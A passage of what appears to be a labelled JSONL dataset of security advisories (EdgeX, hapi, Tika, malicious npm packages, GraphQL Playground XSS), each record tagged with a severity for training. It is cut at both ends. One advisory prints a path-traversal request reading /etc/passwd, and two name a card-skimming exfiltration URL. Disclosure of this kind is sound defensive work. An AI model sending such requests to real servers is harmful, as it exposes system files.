Encryption is not enabled by default, but if used, the level of protection may be less than the user may expects due to a broken implementation in https://github.com/edgexfoundry/app-functions-sdk-go/blob/v1.0.0/pkg/transforms/encryption.go \n\nVersion v2.1.0 (EdgeX Foundry Jakarta release and later) of app-functions-sdk-go/v2 deprecates the “aes” transform and provides an improved “aes256” transform in its place.  The broken implementation will remain in a deprecated state until it is removed in the next EdgeX major release to avoid breakage of existing software that depends on the broken implementation.\n\n### Impact\nAs the broken transform is a library function that is not invoked by default, users who do not use the AES transform in their processing pipelines are unaffected.  Those that are affected are urged to upgrade to the Jakarta EdgeX release and modify processing pipelines to use the new \"aes256\" transform.\n\n#### Vulnerable go modules\n- github.com/edgexfoundry/app-functions-sdk-go  < v2.1.0\n- github.com/edgexfoundry/app-functions-sdk-go/v2  < v2.1.0\n- github.com/edgexfoundry/app-service-configurable < v2.1.0\n\n#### Vulnerable containers\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable >= 2.0.0 < v2.1.0\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable-arm64  >= 2.0.0 < 2.1.0\n- https://hub.docker.com/r/edgexfoundry/docker-app-service-configurable  < 2.0.0\n- https://hub.docker.com/r/edgexfoundry/docker-app-service-configurable-arm64 < 2.0.0 \n\n#### Vulnerable Snaps\n- https://snapcraft.io/edgex-app-service-configurable >= 2.0.0 < 2.1.0\n\n### Patches\nUpgrade to 2.1.0 version of app-functions-sdk-go/v2, app-service-configurable, and related docker containers shown below and modify user scripts to use the new \"aes256\" transform in place of the existing \"aes\" transform.\n\n#### Patched go modules\n- github.com/edgexfoundry/app-functions-sdk-go/v2 v2.1.0\n- github.com/edgexfoundry/app-service-configurable v2.1.0\n\nModification of user scripts is necessary for full remediation.\n\n#### Patched containers\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable:>=2.1.0\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable-arm64:>=2.1.0\n\nModification of user scripts is necessary for full remediation.\n\n#### Patched Snaps\n- https://snapcraft.io/edgex-app-service-configurable >= 2.1.0\n\nModification of user scripts is necessary for full remediation.\n\n### Workarounds\nIf unable to upgrade, change the processing pipeline to use an HTTPS (TLS 1.3) endpoint to export and skip encryption.\n\n### References\n* [2.0 documentation](https://docs.edgexfoundry.org/2.0/microservices/application/BuiltIn/#aes)\n* [2.1 documentation](https://docs.edgexfoundry.org/2.1/microservices/application/BuiltIn/#encryption-deprecated)\n* [GitHub issue](https://github.com/edgexfoundry/app-functions-sdk-go/issues/968)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us in the [Slack #security channel](https://slack.edgexfoundry.org/)\n* Open an issue in [edgex-go](https://github.com/edgexfoundry/edgex-go)\n* Email us at [EdgeX-TSC-Security@lists.edgexfoundry.org](mailto:EdgeX-TSC-Security@lists.edgexfoundry.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "80c3f94767467a184d3b", "text": "Withdrawn, accidental duplicate publish.\n\nThe dns-sync module before 0.1.1 for node.js allows context-dependent attackers to execute arbitrary commands via shell metacharacters in the first argument to the resolve API function.", "text_raw": "Critical severity vulnerability that affects dns-sync\n\n[Severity: CRITICAL]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe dns-sync module before 0.1.1 for node.js allows context-dependent attackers to execute arbitrary commands via shell metacharacters in the first argument to the resolve API function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "1096047909d6c2757a4c", "text": "VMware vCenter Server File Upload Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vCenter Server contains a file upload vulnerability in the Analytics service that allows a user with network access to port 443 to execute code.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-23\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "VMware vCenter Server File Upload Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vCenter Server contains a file upload vulnerability in the Analytics service that allows a user with network access to port 443 to execute code.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-23\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8b95800e3bb06df31969", "text": "Denial of Service in hapi\n\nVersions of `hapi` prior to 11.1.3 are affected by a denial of service vulnerability.\n\nThe vulnerability is triggered when certain input is passed into the If-Modified-Since or Last-Modified headers.\n\nThis causes an 'illegal access' exception to be raised, and instead of sending a HTTP 500 error back to the sender, hapi will continue to hold the socket open until timed out (default node timeout is 2 minutes).\n\n## Recommendation\n\nUpdate to v11.1.3 or later", "text_raw": "Denial of Service in hapi\n\n[Severity: HIGH]\n\nVersions of `hapi` prior to 11.1.3 are affected by a denial of service vulnerability.\n\nThe vulnerability is triggered when certain input is passed into the If-Modified-Since or Last-Modified headers.\n\nThis causes an 'illegal access' exception to be raised, and instead of sending a HTTP 500 error back to the sender, hapi will continue to hold the socket open until timed out (default node timeout is 2 minutes).\n\n\n\n\n\n## Recommendation\n\nUpdate to v11.1.3 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-06-07", "split": "train"}
-{"id": "9db2fe85a015d1d57459", "text": "Data races in beef\n\nAn issue was discovered in the beef crate before 0.5.0 for Rust. \nAffected versions of this crate did not have a `T: Sync` bound in the `Send` impl for `Cow<'_, T, U>`. This allows users to create data races by making `Cow` contain types that are (Send && !Sync) like `Cell<_>` or `RefCell<_>`.\n\nSuch data races can lead to memory corruption.\n\nThe flaw was corrected in commit d1c7658 by adding trait bounds `T: Sync` and `T::Owned: Send` to the `Send` impl for `Cow<'_, T, U>`.", "text_raw": "Data races in beef\n\n[Severity: HIGH]\n\nAn issue was discovered in the beef crate before 0.5.0 for Rust. \nAffected versions of this crate did not have a `T: Sync` bound in the `Send` impl for `Cow<'_, T, U>`. This allows users to create data races by making `Cow` contain types that are (Send && !Sync) like `Cell<_>` or `RefCell<_>`.\n\nSuch data races can lead to memory corruption.\n\nThe flaw was corrected in commit d1c7658 by adding trait bounds `T: Sync` and `T::Owned: Send` to the `Send` impl for `Cow<'_, T, U>`.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "969ee162cc53e4972456", "text": "In Apache Tika 0.1 to 1.18, the XML parsers were not configured to limit entity expansion. They were therefore vulnerable to an entity expansion vulnerability which can lead to a denial of service attack.", "text_raw": "High severity vulnerability that affects org.apache.tika:tika-core\n\n[Severity: HIGH]\n\nIn Apache Tika 0.1 to 1.18, the XML parsers were not configured to limit entity expansion. They were therefore vulnerable to an entity expansion vulnerability which can lead to a denial of service attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "2006ff0b3ded07c691b2", "text": "Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection", "text_raw": "Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-19", "split": "train"}
-{"id": "fa5417dda4b2b248c309", "text": "Improper input validation in Apache Olingo\n\nThe AsyncResponseWrapperImpl class in Apache Olingo versions 4.0.0 to 4.6.0 reads the Retry-After header and passes it to the Thread.sleep() method without any check. If a malicious server returns a huge value in the header, then it can help to implement a DoS attack.", "text_raw": "Improper input validation in Apache Olingo\n\n[Severity: HIGH]\n\nThe AsyncResponseWrapperImpl class in Apache Olingo versions 4.0.0 to 4.6.0 reads the Retry-After header and passes it to the Thread.sleep() method without any check. If a malicious server returns a huge value in the header, then it can help to implement a DoS attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-04", "split": "train"}
-{"id": "914ff67251b182095f46", "text": "Ciphertext Malleability Issue in Tink Java\n\n### Impact\nTink's Java version before 1.5 under some circumstances allowed attackers to change the key ID part of the ciphertext, resulting in the attacker creating a second ciphertext that will decrypt to the same plaintext. This can be a problem in particular in the case of encrypting with a deterministic AEAD with a single key, and relying on the fact that there is only a single valid ciphertext per plaintext.\n\nNo loss of confidentiality or loss of plaintext integrity occurs due to this problem, only ciphertext integrity is compromised.\n\n### Patches\nThe issue was fixed in this [pull request](https://github.com/google/tink/commit/93d839a5865b9d950dffdc9d0bc99b71280a8899).\n\n### Workarounds\nThe only workaround is to backport the fixing [pull request](https://github.com/google/tink/commit/93d839a5865b9d950dffdc9d0bc99b71280a8899).\n\n### Details\nTink uses the first five bytes of a ciphertext for a version byte and a four byte key ID. Since each key has a well defined prefix, this extends non-malleability properties (but technically not indistinguishability). However, in the Java version this prefix lookup used a hash map indexed by unicode strings instead of the byte array, which means that invalid Unicode characters would be [replaced by U+FFFD](https://en.wikipedia.org/wiki/UTF-8#Invalid_sequences_and_error_handling) by the [Java API's default behavior](https://docs.oracle.com/javase/7/docs/api/java/lang/String.html#String(byte[],%20java.nio.charset.Charset)). This means several different values for the five bytes would result in the same hash table key, which allows an attacker to exchange one invalid byte sequence for another, creating a mutated ciphertext that still decrypts (to the same plaintext).\n\n### Acknowledgements\nWe'd like to thank Peter Esbensen for finding this issue and raising it internally.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Tink](https://github.com/google/tink/issues)", "text_raw": "Ciphertext Malleability Issue in Tink Java\n\n[Severity: MEDIUM]\n\n### Impact\nTink's Java version before 1.5 under some circumstances allowed attackers to change the key ID part of the ciphertext, resulting in the attacker creating a second ciphertext that will decrypt to the same plaintext. This can be a problem in particular in the case of encrypting with a deterministic AEAD with a single key, and relying on the fact that there is only a single valid ciphertext per plaintext.\n\nNo loss of confidentiality or loss of plaintext integrity occurs due to this problem, only ciphertext integrity is compromised.\n\n### Patches\nThe issue was fixed in this [pull request](https://github.com/google/tink/commit/93d839a5865b9d950dffdc9d0bc99b71280a8899).\n\n### Workarounds\nThe only workaround is to backport the fixing [pull request](https://github.com/google/tink/commit/93d839a5865b9d950dffdc9d0bc99b71280a8899).\n\n### Details\nTink uses the first five bytes of a ciphertext for a version byte and a four byte key ID. Since each key has a well defined prefix, this extends non-malleability properties (but technically not indistinguishability). However, in the Java version this prefix lookup used a hash map indexed by unicode strings instead of the byte array, which means that invalid Unicode characters would be [replaced by U+FFFD](https://en.wikipedia.org/wiki/UTF-8#Invalid_sequences_and_error_handling) by the [Java API's default behavior](https://docs.oracle.com/javase/7/docs/api/java/lang/String.html#String(byte[],%20java.nio.charset.Charset)). This means several different values for the five bytes would result in the same hash table key, which allows an attacker to exchange one invalid byte sequence for another, creating a mutated ciphertext that still decrypts (to the same plaintext).\n\n### Acknowledgements\nWe'd like to thank Peter Esbensen for finding this issue and raising it internally.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Tink](https://github.com/google/tink/issues)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-16", "split": "train"}
-{"id": "a2b3f45950506f15e852", "text": "Malicious Package in cionstring\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in cionstring\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "325b671c55cdf784b0db", "text": "Doorkeeper is vulnerable to stored XSS and code execution\n\nDoorkeeper version 2.1.0 through 4.2.5 contains a Cross Site Scripting (XSS) vulnerability in web view's OAuth app form, user authorization prompt web view that can result in Stored XSS on the OAuth Client's name will cause users interacting with it will execute payload. This attack appear to be exploitable via The victim must be tricked to click an opaque link to the web view that runs the XSS payload. A malicious version virtually indistinguishable from a normal link. This vulnerability appears to have been fixed in 4.2.6, 4.3.0.", "text_raw": "Doorkeeper is vulnerable to stored XSS and code execution\n\n[Severity: MEDIUM]\n\nDoorkeeper version 2.1.0 through 4.2.5 contains a Cross Site Scripting (XSS) vulnerability in web view's OAuth app form, user authorization prompt web view that can result in Stored XSS on the OAuth Client's name will cause users interacting with it will execute payload. This attack appear to be exploitable via The victim must be tricked to click an opaque link to the web view that runs the XSS payload. A malicious version virtually indistinguishable from a normal link. This vulnerability appears to have been fixed in 4.2.6, 4.3.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-13", "split": "train"}
-{"id": "7ae6268bf21597bda261", "text": "Path manipulation in matyhtf/framework\n\nmatyhtf framework v3.0.5 is affected by a path manipulation vulnerability in Smarty.class.php. The issue was fixed in version 3.0.6.", "text_raw": "Path manipulation in matyhtf/framework\n\n[Severity: CRITICAL]\n\nmatyhtf framework v3.0.5 is affected by a path manipulation vulnerability in Smarty.class.php. The issue was fixed in version 3.0.6.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-04", "split": "train"}
-{"id": "1d7a63e6353642d1c227", "text": "STVS ProVision 5.9.10 Authenticated Reflected Cross-Site Scripting", "text_raw": "STVS ProVision 5.9.10 Authenticated Reflected Cross-Site Scripting\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-01-26", "split": "train"}
-{"id": "18702fb8a62262368a30", "text": "Unauthorized File Access in glance\n\nVersions of `glance` prior to 3.0.7 are vulnerable to Unauthorized File Access. The package provides a `--nodot` option meant to hide files and directories with names that begin with a `.`, such as `.git` but fails to hide files inside a folder that begins with `.`.\n\n## Recommendation\n\nUpgrade to version 3.0.7 or later.", "text_raw": "Unauthorized File Access in glance\n\n[Severity: MEDIUM]\n\nVersions of `glance` prior to 3.0.7 are vulnerable to Unauthorized File Access. The package provides a `--nodot` option meant to hide files and directories with names that begin with a `.`, such as `.git` but fails to hide files inside a folder that begins with `.`. \n\n\n## Recommendation\n\nUpgrade to version 3.0.7 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "7db1b85faf2470b89fa7", "text": "Uninitialized memory access in TensorFlow\n\n### Impact\nUnder certain cases, a saved model can trigger use of uninitialized values during code execution. This is caused by having tensor buffers be filled with the default value of the type but forgetting to [default initialize the quantized floating point types in Eigen](https://github.com/tensorflow/tensorflow/blob/f70160322a579144950dff1537dcbe3c7c09d6f5/third_party/eigen3/unsupported/Eigen/CXX11/src/FixedPoint/FixedPointTypes.h#L61-L104):\n\n```cc\nstruct QUInt8 {\n  QUInt8() {}\n  // ...\n  uint8_t value;\n};\n\nstruct QInt16 {\n  QInt16() {}\n  // ...\n  int16_t value;\n};\n\nstruct QUInt16 {\n  QUInt16() {}\n  // ...\n  uint16_t value;\n};\n\nstruct QInt32 {\n  QInt32() {}\n  // ...\n  int32_t value;\n};\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ace0c15a22f7f054abcc1f53eabbcb0a1239a9e2](https://github.com/tensorflow/tensorflow/commit/ace0c15a22f7f054abcc1f53eabbcb0a1239a9e2) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Uninitialized memory access in TensorFlow\n\n[Severity: MEDIUM]\n\n### Impact\nUnder certain cases, a saved model can trigger use of uninitialized values during code execution. This is caused by having tensor buffers be filled with the default value of the type but forgetting to [default initialize the quantized floating point types in Eigen](https://github.com/tensorflow/tensorflow/blob/f70160322a579144950dff1537dcbe3c7c09d6f5/third_party/eigen3/unsupported/Eigen/CXX11/src/FixedPoint/FixedPointTypes.h#L61-L104):\n\n```cc\nstruct QUInt8 {\n  QUInt8() {}\n  // ...\n  uint8_t value;\n};\n\nstruct QInt16 {\n  QInt16() {}\n  // ...\n  int16_t value;\n};\n\nstruct QUInt16 {\n  QUInt16() {}\n  // ...\n  uint16_t value;\n};\n\nstruct QInt32 {\n  QInt32() {}\n  // ...\n  int32_t value;\n};\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ace0c15a22f7f054abcc1f53eabbcb0a1239a9e2](https://github.com/tensorflow/tensorflow/commit/ace0c15a22f7f054abcc1f53eabbcb0a1239a9e2) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-10", "split": "train"}
-{"id": "460671dc254f8d0d989e", "text": "Uncontrolled Resource Consumption in spray-json\n\nLightbend Spray spray-json through 1.3.4 allows remote attackers to cause a denial of service (resource consumption) because of Algorithmic Complexity during the parsing of many JSON object fields (with keys that have the same hash code).", "text_raw": "Uncontrolled Resource Consumption in spray-json\n\n[Severity: HIGH]\n\nLightbend Spray spray-json through 1.3.4 allows remote attackers to cause a denial of service (resource consumption) because of Algorithmic Complexity during the parsing of many JSON object fields (with keys that have the same hash code).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "eab4fdb9ec7be22fba3d", "text": "Directory Traversal in section2.madisonjbrooks12\n\nAffected versions of `section2.madisonjbrooks12` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in section2.madisonjbrooks12\n\n[Severity: HIGH]\n\nAffected versions of `section2.madisonjbrooks12` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3c94ba009b1c14946724", "text": "datatables.net vulnerable to Prototype Pollution due to incomplete fix\n\nAll versions of package datatables.net are vulnerable to Prototype Pollution due to an incomplete fix for https://snyk.io/vuln/SNYK-JS-DATATABLESNET-598806.", "text_raw": "datatables.net vulnerable to Prototype Pollution due to incomplete fix\n\n[Severity: HIGH]\n\nAll versions of package datatables.net are vulnerable to Prototype Pollution due to an incomplete fix for https://snyk.io/vuln/SNYK-JS-DATATABLESNET-598806.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-17", "split": "train"}
-{"id": "718db47b9a70262d6c0a", "text": "Malicious Package in css_transform_support\n\nVersion 1.0.2 of `css_transform_support` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.2 of this module is found installed you will want to replace it with a version before or after 1.0.2. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "text_raw": "Malicious Package in css_transform_support\n\n[Severity: CRITICAL]\n\nVersion 1.0.2 of `css_transform_support` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.2 of this module is found installed you will want to replace it with a version before or after 1.0.2. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "c238360ba216f6196a65", "text": "Out of bounds access in lucet-runtime-internals\n\nAn embedding using affected versions of lucet-runtime configured to use non-default Wasm globals sizes of more than 4KiB, or compiled in debug mode without optimizations, could leak data from the signal handler stack to guest programs. This can potentially cause data from the embedding host to leak to guest programs or cause corruption of guest program memory. This flaw was resolved by correcting the sigstack allocation logic.", "text_raw": "Out of bounds access in lucet-runtime-internals\n\n[Severity: CRITICAL]\n\nAn embedding using affected versions of lucet-runtime configured to use non-default Wasm globals sizes of more than 4KiB, or compiled in debug mode without optimizations, could leak data from the signal handler stack to guest programs. This can potentially cause data from the embedding host to leak to guest programs or cause corruption of guest program memory. This flaw was resolved by correcting the sigstack allocation logic.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "eba15e6e4e4ba97bb55d", "text": "Malicious Package in jekyll-for-github-projects\n\nVersion 0.2.12 of `jekyll-for-github-projects` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.2.11", "text_raw": "Malicious Package in jekyll-for-github-projects\n\n[Severity: CRITICAL]\n\nVersion 0.2.12 of `jekyll-for-github-projects` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.2.11", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f56a7e7450cfc62aa1e0", "text": "B-swiss 3 Digital Signage System 3.6.5 Database Disclosure", "text_raw": "B-swiss 3 Digital Signage System 3.6.5 Database Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-09-19", "split": "train"}
-{"id": "d1ea514c5788d3e57330", "text": "OS Command Injection in lsof\n\nAll versions including 0.0.4 of lsof npm module are vulnerable to Command Injection. Every exported method used by the package uses the exec function to parse user input.", "text_raw": "OS Command Injection in lsof\n\n[Severity: HIGH]\n\nAll versions including 0.0.4 of lsof npm module are vulnerable to Command Injection. Every exported method used by the package uses the exec function to parse user input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "ca91f56e0142bdccd85f", "text": "Asyncpg Arbitrary Code Execution Via Access to an Uninitialized Pointer\n\nasyncpg before 0.21.0 allows a malicious PostgreSQL server to trigger a crash or execute arbitrary code (on a database client) via a crafted server response, because of access to an uninitialized pointer in the array data decoder.", "text_raw": "Asyncpg Arbitrary Code Execution Via Access to an Uninitialized Pointer\n\n[Severity: CRITICAL]\n\nasyncpg before 0.21.0 allows a malicious PostgreSQL server to trigger a crash or execute arbitrary code (on a database client) via a crafted server response, because of access to an uninitialized pointer in the array data decoder.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "488521fa4ec78b10028f", "text": "Pillow Denial of Service by Uncontrolled Resource Consumption\n\nPillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICO container, and thus an attempted memory allocation can be very large.", "text_raw": "Pillow Denial of Service by Uncontrolled Resource Consumption\n\n[Severity: HIGH]\n\nPillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICO container, and thus an attempted memory allocation can be very large.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "c7e99660cc685139aa83", "text": "XSS vulnerability in GraphQL Playground from untrusted schemas\n\n## GraphQL Playground introspection schema template injection attack: Advisory Statement\n\nThis is a security advisory for an XSS vulnerability in `graphql-playground`.\n\nA similar vulnerability affects `graphiql`, the package from which `graphql-playground` was forked. There is a corresponding `graphiql` [advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8).\n\n- [1. Impact](#1-impact)\n- [2. Scope](#2-scope)\n- [3. Patches](#3-patches)\n- [4. Reproducing the exploit](#4-reproducing-the-exploit)\n- [5. Credit](#5-credit)\n- [6. For more information](#6-for-more-information)\n\n### 1. Impact\n\nAll versions of `graphql-playground-react` older than `graphql-playground-react@1.7.28` are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a malicious schema in `graphql-playground`. There are several ways this can occur, including by specifying the URL to a malicious schema in the `endpoint` query parameter. If a user clicks on a link to a GraphQL Playground installation that specifies a malicious server, arbitrary JavaScript can run in the user's browser, which can be used to exfiltrate user credentials or other harmful goals.\n\n### 2. Scope\n\nThis advisory describes the impact on the `graphql-playground-react` package. The vulnerability also affects `graphiql`, the package from which `graphql-playground` was forked, with a less severe impact; see the [`graphiql` advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) for details. It affects all versions of `graphql-playground-react` older than `v1.7.28`.\n\nThis vulnerability was introduced with the first public release of `graphql-playground`, so it impacts both the original legacy `graphql-playground` and the contemporary `graphql-playground-react` npm package. It is most easily exploited on `graphql-playground-react@1.7.0` and newer, as that release added functionality which made it possible to override the endpoint URL via query parameter even if it is explicitly specified in the code.\n\n`graphql-playground-react` is commonly loaded via the `graphql-playground-html` package or a middleware package that wraps it (`graphql-playground-express`, `graphql-playground-middleware-koa`, `graphql-playground-middleware-hapi`, or `graphql-playground-middleware-lambda`). By default, these packages render an HTML page which loads the *latest* version of `graphql-playground-react` through a CDN. If you are using one of these packages to install GraphQL Playground on your domain *and you do not explicitly pass the `version` option to `renderPlaygroundPage` or the middleware function*, then you do not need to take any action to resolve this vulnerability, as the latest version of the React app will automatically be loaded.\n\n`graphql-playground-react` is also commonly loaded via HTML served by Apollo Server. Apollo Server always pins a specific version of `graphql-playground-react`, so if you are using Apollo Server you do need to take action to resolve this vulnerability. See the [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\n### 3. Patches\n\n`graphql-playground-react@1.7.28` addresses this issue via defense in depth:\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explore", "text_raw": "XSS vulnerability in GraphQL Playground from untrusted schemas\n\n[Severity: HIGH]\n\n## GraphQL Playground introspection schema template injection attack: Advisory Statement\n\nThis is a security advisory for an XSS vulnerability in `graphql-playground`.\n\nA similar vulnerability affects `graphiql`, the package from which `graphql-playground` was forked. There is a corresponding `graphiql` [advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8).\n\n- [1. Impact](#1-impact)\n- [2. Scope](#2-scope)\n- [3. Patches](#3-patches)\n- [4. Reproducing the exploit](#4-reproducing-the-exploit)\n- [5. Credit](#5-credit)\n- [6. For more information](#6-for-more-information)\n\n### 1. Impact\n\nAll versions of `graphql-playground-react` older than `graphql-playground-react@1.7.28` are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a malicious schema in `graphql-playground`. There are several ways this can occur, including by specifying the URL to a malicious schema in the `endpoint` query parameter. If a user clicks on a link to a GraphQL Playground installation that specifies a malicious server, arbitrary JavaScript can run in the user's browser, which can be used to exfiltrate user credentials or other harmful goals.\n\n### 2. Scope\n\nThis advisory describes the impact on the `graphql-playground-react` package. The vulnerability also affects `graphiql`, the package from which `graphql-playground` was forked, with a less severe impact; see the [`graphiql` advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) for details. It affects all versions of `graphql-playground-react` older than `v1.7.28`.\n\nThis vulnerability was introduced with the first public release of `graphql-playground`, so it impacts both the original legacy `graphql-playground` and the contemporary `graphql-playground-react` npm package. It is most easily exploited on `graphql-playground-react@1.7.0` and newer, as that release added functionality which made it possible to override the endpoint URL via query parameter even if it is explicitly specified in the code.\n\n`graphql-playground-react` is commonly loaded via the `graphql-playground-html` package or a middleware package that wraps it (`graphql-playground-express`, `graphql-playground-middleware-koa`, `graphql-playground-middleware-hapi`, or `graphql-playground-middleware-lambda`). By default, these packages render an HTML page which loads the *latest* version of `graphql-playground-react` through a CDN. If you are using one of these packages to install GraphQL Playground on your domain *and you do not explicitly pass the `version` option to `renderPlaygroundPage` or the middleware function*, then you do not need to take any action to resolve this vulnerability, as the latest version of the React app will automatically be loaded.\n\n`graphql-playground-react` is also commonly loaded via HTML served by Apollo Server. Apollo Server always pins a specific version of `graphql-playground-react`, so if 